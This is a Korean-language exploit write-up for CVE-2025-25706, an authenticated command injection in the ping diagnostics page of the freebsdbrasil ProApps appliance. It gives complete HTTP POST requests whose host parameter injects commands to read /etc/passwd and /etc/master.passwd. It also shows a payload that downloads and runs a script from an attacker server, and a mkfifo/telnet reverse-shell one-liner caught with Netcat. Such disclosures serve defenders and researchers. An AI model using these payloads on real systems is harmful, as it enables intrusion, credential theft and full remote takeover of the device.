
ProApps ping 기능의 명령어 삽입을 통한 인증된 원격 코드 실행을 시연하는 CVE-2025-25706 상세 개념 증명으로, 리버스 셸 페이로드 및 악용 단계를 포함합니다.
Product Vendor: freebsdbrasil
Item: ProApps - Enterprise Appliance
Editor Creator: DreamWeaver
PHP: PHP Version 7.3.18
Java Script Library: Jquery UI 1.6 | Jquery 1.2.6
Server: NGINX
Operational System: FreeBDS Unix
원격 코드 실행
이 취약점은 사용자가 ping 기능을 통해 Unix 환경에서 명령어 시퀀스 연산자(;, &&, |)를 추가하여 시스템 명령을 주입할 수 있기 때문에 발생합니다. 취약점을 악용하려면 인증이 필요합니다. 사용자는 'Status'라는 권한 그룹에 속하고 'Modified' 권한이 있어야 합니다. 또한 성공적인 악용을 위해서는 입력 값 검증을 우회해야 합니다. 애플리케이션은 프론트엔드에서만 사용자 입력을 검증하므로, 예를 들어 네트워크 프록시를 통해 요청을 전송해야 합니다. 이렇게 하면 애플리케이션이 부과한 제한을 우회할 수 있습니다.
인증 후 sta_rede.diagnostico_ping(http(s)://vulnerablepage.index.php?page=sta_rede.diagnostico_ping&task=view) 페이지에 접근해야 합니다.
이 페이지는 임의의 호스트에 ICMP 요청을 수행하는 기능을 제공합니다. ping 유틸리티와 ICMP 프로토콜(요청 및 응답)에 대한 자세한 내용은 참조 섹션에 언급된 RFC를 참조하십시오.
애플리케이션은 host, testar_pacote, ttl 매개변수와 함께 POST 요청을 전송합니다. 여기서 host는 ping의 대상, testar_pacote는 보낼 ICMP 요청 횟수, TTL은 패킷의 TTL(Time to Live)입니다. 요청을 보내면 애플리케이션은 Unix 시스템에서 다음 명령어를 실행합니다: ping -c $testar_pacote $host. 아래는 기능을 보여주는 POST 요청입니다:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8&testar_pacote=1&ttl=64
여기서 공격 벡터가 발견됩니다. 사용자는 네트워크 프록시를 통해 악성 POST 요청을 보내 입력 검증을 우회하고 host 매개변수에 명령어 시퀀스 연산자(;, &&, |) 중 하나를 추가함으로써 취약점을 악용할 수 있습니다. 그러면 웹 애플리케이션은 위에서 언급한 ping 명령어와 추가 명령어를 실행합니다. 예를 들어, /etc/passwd, /etc/master.passwd와 같은 민감한 파일을 읽거나 리버스 셸을 얻거나 임의 명령어를 실행할 수 있습니다.
아래 POST 요청은 조작된 악성 예제입니다:
POST /include/sta/rede.diagnostico_ping.ajax.php HTTP/1.1
Host: vulnerablewebsite.com
Cookie: PHPSESSID=6457d273b50b3bbaea19cbb4500d6577
Content-Length: 66
Authorization: XXXXXXX
Sec-Ch-Ua-Platform: "Linux"
Accept-Language: en-US,en;q=0.9
Sec-Ch-Ua: "Chromium";v="131", "Not_A Brand";v="24"
Sec-Ch-Ua-Mobile: ?0
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.6778.86 Safari/537.36
Accept: */*
Content-Type: application/x-www-form-urlencoded
Origin: https://vulnerablewebsite.com
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: https://vulnerablewebsite.com/index.php?page=sta_rede.diagnostico_ping&task=view
Accept-Encoding: gzip, deflate, br
Priority: u=1, i
Connection: keep-alive
page=sta_rede.diagnostico_ping&host=8.8.8.8; cat /etc/passwd;cat /etc/master.passwd&testar_pacote=1&ttl=64
sta_rede.diagnostico_ping에 대한 HTTP POST 요청:
page=sta_rede.diagnostico_ping&host=x.x.x.x;curl -O http://attackserver/maliciousfile.sh; chmod +x maliciousfile.sh; ./maliciousfile.sh&testar_pacote=1&ttl=64
TF=$(mktemp -u);mkfifo $TF && telnet $attacker.ip $attacker.port 0<$TF | sh 1>$TF
Netcat으로 지정된 포트를 수신 대기하면 리버스 셸이 성공적으로 열립니다.
RCE(원격 코드 실행) 취약점을 통해 공격자는 원격 장치에서 임의의 코드를 실행할 수 있으며, 이는 전체 시스템 손상, 데이터 유출, 측면 이동, 악성코드 배포, 평판 및 재정적 손실로 이어질 수 있습니다.